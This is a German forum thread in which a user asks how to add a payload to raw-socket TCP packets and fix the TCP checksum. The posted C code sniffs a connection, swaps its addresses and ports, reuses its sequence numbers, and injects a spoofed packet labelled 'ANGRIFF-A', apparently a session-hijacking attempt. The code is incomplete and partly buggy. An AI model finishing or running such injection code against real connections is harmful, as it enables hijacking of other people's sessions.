Hallo,
ich brauche dringend Hilfe.
Ich habe mit RAW-Sockets TCP/IP Headas erstellt und kann die auch verschicken,(die kommen sogar an)
was ich aber nicht kann ist noch dazu die Nutzlast (Payload in TCP) in form von einem String anzuhängen.
Mein Ziel ist, TCP/IP Pakete zu erstellen und damit auch ein String versenden zukönnen.
Kann mir einer ein Beispiel hierfür zeigen. Es geht höstwarscheinlich um richtige Speicher allocierung und genau das klappt bei mir nicht.
Also wer weiss wie, bitte bitte eine Beispiel.
Danke
Haste mal 'n Code-Schnipsel vom dem, was nich geht? Und eventuell 'ne Fehlermeldung/Beschreibung? Das is nämlich wieder so'ne Frage a'la: "Mein Auto fährt nicht. Wieso?"
Haste mal 'n Code-Schnipsel vom dem, was nich geht? Und eventuell 'ne Fehlermeldung/Beschreibung? Das is nämlich wieder so'ne Frage a'la: "Mein Auto fährt nicht. Wieso?"
ja das habe ich: Also das mit dem Payload habe ich hin bekommen, Aber jetzt: wie soll ich die Checksumme bestimmen. Ich habe da eine Checksum-Quell Code geklaut und versucht azupassen aber bei IP ist es okay und bei TCP ist nicht, wege Payload. Guckst du vieleicht findest du was. Meine Erfahring in C ist nicht so gross:
Also meine Frage wie soll ich richtige Checksum von TCP mit payload richtig bestimmen:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <linux/if.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#define MAX_FILELEN 2048
#define FLAG_LEN (6 * 3) + 5 + 1
#define ERR_FAILURE 1
#define OUTPUT_STREAM stdout //Standardausgabe
///////////////////////////////////////////////////SNIFF Variablen//////////////////////////
int open_eth( char *dev); //Oeffnet ETH Interface
int read_eth( int); //Liest von ETH Interface
int print_info( FILE *); //Speichert die Daten
int print_tcp_data( FILE *); //Gibt Datenteil von TCP aus
int print_arp_data( FILE *); //Gibt ARP Datenteil aus
int sniff();
char *host( unsigned long int); //Wandelt Hostnamen(IP) in DNS Namen
char *get_tcp_flags(void); //liefert die TCP Flags
char *get_prot(void); //liefert das Protokoll in ASCII
void print_mac(FILE *file,unsigned char *mac);
void sig_handler(int);
struct pseudo_header{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
char buf[65535];
} pseudo_header;
struct Arphdr
{
unsigned short ar_hrd; /* format of hardware address */
unsigned short ar_pro; /* format of protocol address */
unsigned char ar_hln; /* length of hardware address */
unsigned char ar_pln; /* length of protocol address */
unsigned short ar_op; /* ARP opcode (command) */
unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */
unsigned char ar_sip[4]; /* sender IP address */
unsigned char ar_tha[ETH_ALEN]; /* target hardware address */
unsigned char ar_tip[4]; /* target IP address */
};
struct ethhdr *eth; //ETH Header
struct iphdr *ip; //IP Header
struct Arphdr *arp; //ARP Header
struct tcphdr *tcp; //TCP Header
char read_buf[8345]; //Packet Buffer
static int counter = 0;
u_int16_t tcp_check=0;
u_int16_t tcp_check_tmp=0;
u_int16_t ip_check=0;
u_int16_t ip_check_tmp=0;
//////////////////////////////////////////////////////////////////////////////////////////
struct sockaddr_in to;
struct in_addr addr;
char D_Addr[50];
char S_Addr[50];
char D_Addr_tmp[50];
char S_Addr_tmp[50];
unsigned int s_Port = 0;
unsigned int d_Port = 0;
unsigned int s_Port_tmp = 0;
unsigned int d_Port_tmp = 0;
unsigned int ip_ID;
unsigned int WinSize = 5840; /////////////////////
long int SEQ = 0; ////////////////////
long int ACK = 0;
int raus = 0;
int jack();
/////////////////////////Checksumme-Funktion//////////
unsigned short in_cksum(unsigned short *addr, int count)
{
register long sum = 0;
register unsigned short checksum;
while( count > 1 ) {
sum += *addr++;
count -= 2;
}
if( count > 0 )
sum += *(unsigned char *) addr;
while (sum>>16)
sum = (sum & 0xffff) + (sum >> 16);
checksum = ~sum;
return checksum;
}
////////////////////////////////Die Funktion selber
int jack(){
int s, on = 1;
int bytes = 0,i=0;
char *string,*offset,*flags;
char buffer[1024]
char payload[10]="ANGRIFF-A\0";
raus=1;
sniff();
strcpy(D_Addr , S_Addr_tmp);
strcpy(S_Addr , D_Addr_tmp);
d_Port = s_Port_tmp;
s_Port = d_Port_tmp;
// reset();
printf("Es kommt Paket mit SEQ = %d, und ACK = %d Nummern raus.\n", SEQ, ACK);
/////////////////////////////////////////////////////////////////////////////////////////////
s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (s == -1)
{
perror("socket() failed");
return 1;
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1)
{
perror("setsockopt() failed");
return 2;
}
ip = (struct iphdr*) buffer;
tcp = (struct tcphdr*) (buffer + sizeof(struct iphdr));
memset(ip, 0, sizeof(struct iphdr));
memset(tcp, 0, sizeof(struct tcphdr));
ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + sizeof(payload));
ip->id = random();
ip->ttl = 64;
ip->protocol = IPPROTO_TCP;
ip->saddr = inet_addr(S_Addr_tmp);
ip->daddr = inet_addr(D_Addr_tmp);
tcp->source = htons(s_Port_tmp);
tcp->dest = htons(d_Port_tmp);
tcp->seq = htonl(SEQ);
tcp->ack_seq = htonl(ACK);
tcp->psh = 1;
tcp->ack = 1;
tcp->doff = 5;
tcp->window = htons(WinSize);
///////////////////////////////////////////////CHECk Sum/////////////////////////////////////
bytes = ntohs(ip->tot_len) - ip->ihl*4 - tcp->doff*4;
string = (char *)malloc(bytes+1);
if(!string)
return 0;
strncpy(string, payload + (sizeof(*eth) + (ntohs(ip->tot_len)- bytes)),bytes);
strcpy(string+bytes,"\0");
printf("STRING : %s\n", payload);
tcp_check_tmp = tcp->check;
ip_check_tmp = ip->check;
tcp->check=0;
ip->check=0;
pseudo_header.source_address = ip->saddr;
pseudo_header.dest_address = ip->daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
memset(pseudo_header.buf,0,ETH_FRAME_LEN);
pseudo_header.tcp_length = htons(ntohs(ip->tot_len) - (ip->ihl * (32/8)) );
bcopy((char *)tcp, (char *)&pseudo_header.tcp, ntohs(ip->tot_len) - (ip->ihl * (32/8)) );
//berechnet checksummen
ip_check = in_cksum((unsigned short *)ip, ip->ihl * (32/8) );
tcp_check = in_cksum((unsigned short *)&pseudo_header, ntohs(ip->tot_len) - (ip->ihl*(32/8)) + 12);
tcp->check = tcp_check;
ip->check = ip_check;
//////////////////////////////////////////////////////////////////////////////////////////////
memset((void *)&to, '\0', sizeof(to));
to.sin_addr.s_addr = ip->daddr;
to.sin_family = AF_INET;
addr.s_addr = ip->saddr;
to.sin_port = tcp->dest;
////////////////////////////////////////////////////////////////////////////////////////////////
strcpy(&buffer[40], payload);
bytes = sendto(s, buffer, ntohs(ip->tot_len), 0, (struct sockaddr *)&to, sizeof(to));
if (bytes == -1)
{
perror("sendto() failed");
return 1;
}
fflush(stdout);
printf("GESENDET \n");
return 0;
}
Bitte Code Tags Verwenden!
Powered by vBulletin® Version 4.2.5 Copyright ©2025 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.